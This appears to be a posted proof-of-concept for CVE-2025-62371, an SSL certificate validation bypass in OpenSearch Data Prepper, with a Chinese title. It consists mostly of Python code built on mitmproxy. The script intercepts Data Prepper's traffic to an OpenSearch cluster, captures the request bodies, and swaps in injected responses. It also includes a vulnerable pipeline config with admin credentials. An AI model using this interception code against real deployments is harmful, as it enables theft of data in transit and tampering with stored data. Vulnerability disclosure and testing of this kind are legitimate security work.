CVE-2025-62371：OpenSearch Data Prepper SSL证书验证绕过漏洞

# CVE-2025-62371 PoC - SSL Certificate Validation Bypass in OpenSearch Data Prepper # This PoC demonstrates the vulnerability where Data Prepper trusts all SSL certificates # when no certificate path is provided in the OpenSearch sink/source configuration. import ssl import socket from mitmproxy import http, options from mitmproxy.tools.dump import DumpMaster # Step 1: Create a self-signed certificate (attacker-controlled) # Generate a fake certificate that mimics the target OpenSearch cluster def generate_fake_cert(): # In a real attack scenario, the attacker would generate a certificate # for the target domain (e.g., opensearch.example.com) # Using openssl: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes pass # Step 2: Set up a MITM proxy to intercept Data Prepper's connections class OpenSearchMITM: def __init__(self): self.captured_data = [] def request(self, flow: http.HTTPFlow) -> None: """Intercept requests from Data Prepper to OpenSearch cluster""" if "opensearch" in flow.request.pretty_host.lower(): print(f"[*] Intercepted request to: {flow.request.pretty_host}") print(f"[*] Request path: {flow.request.path}") # Capture sensitive data being sent self.captured_data.append(flow.request.content) def response(self, flow: http.HTTPFlow) -> None: """Modify responses before they reach Data Prepper""" if "opensearch" in flow.request.pretty_host.lower(): # Inject malicious data into the response print(f"[*] Modifying response from: {flow.request.pretty_host}") flow.response.content = b'{"tampered": "data injected by attacker"}' # Step 3: Configure Data Prepper WITHOUT cert parameter (vulnerable config) vulnerable_config = """ pipeline: workers: 1 delay: 100 source: http: port: 2021 sink: - opensearch: hosts: ["https://opensearch-cluster.example.com"] # NOTE: cert parameter is NOT specified # This triggers the 'trust all certificates' behavior (CVE-2025-62371) username: admin password: admin """ # Step 4: Start the MITM proxy def start_mitm_proxy(): opts = options.Options(listen_host='0.0.0.0', listen_port=8080) master = DumpMaster(opts, with_termlog=False, with_dumper=False) master.addons.add(OpenSearchMITM()) print("[*] MITM proxy started on port 8080") print("[*] Waiting for Data Prepper connections...") master.run() if __name__ == "__main__": print("=" * 60) print("CVE-2025-62371 - OpenSearch Data Prepper SSL Bypass PoC") print("=" * 60) print("Vulnerable: Data Prepper < 2.12.2") print("Attack: MITM via unvalidated SSL certificates") print("=" * 60) start_mitm_proxy()